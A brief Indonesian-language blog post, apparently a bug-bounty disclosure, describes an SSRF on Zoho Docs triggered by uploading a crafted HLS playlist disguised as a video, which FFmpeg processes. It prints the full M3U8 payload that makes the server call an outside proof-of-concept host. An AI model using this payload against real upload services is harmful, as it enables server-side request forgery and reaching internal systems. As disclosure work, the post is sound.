SSRF on Zoho Docs via FFMPEG

Dimaz Arno
Jul 22, 2017 · 1 min read

Zoho docs memiliki fitur untuk melakukan upload file termasuk video. Oleh karena itu saya mencoba untuk melakukan SSRF dengan mengupload file video berisikan EXTm3U tag seperti berikut :

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0,
#EXT-X-BYTERANGE: 0
ethicninja.txt
#EXTINF:1.0,
http://poc.ethic.ninja/hellossrf
#EXT-X-ENDLIST

Dan.. boom! server melakukan request ke server poc.ethic.ninja

Referensi SSRF HLS

Dimaz Arno
Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade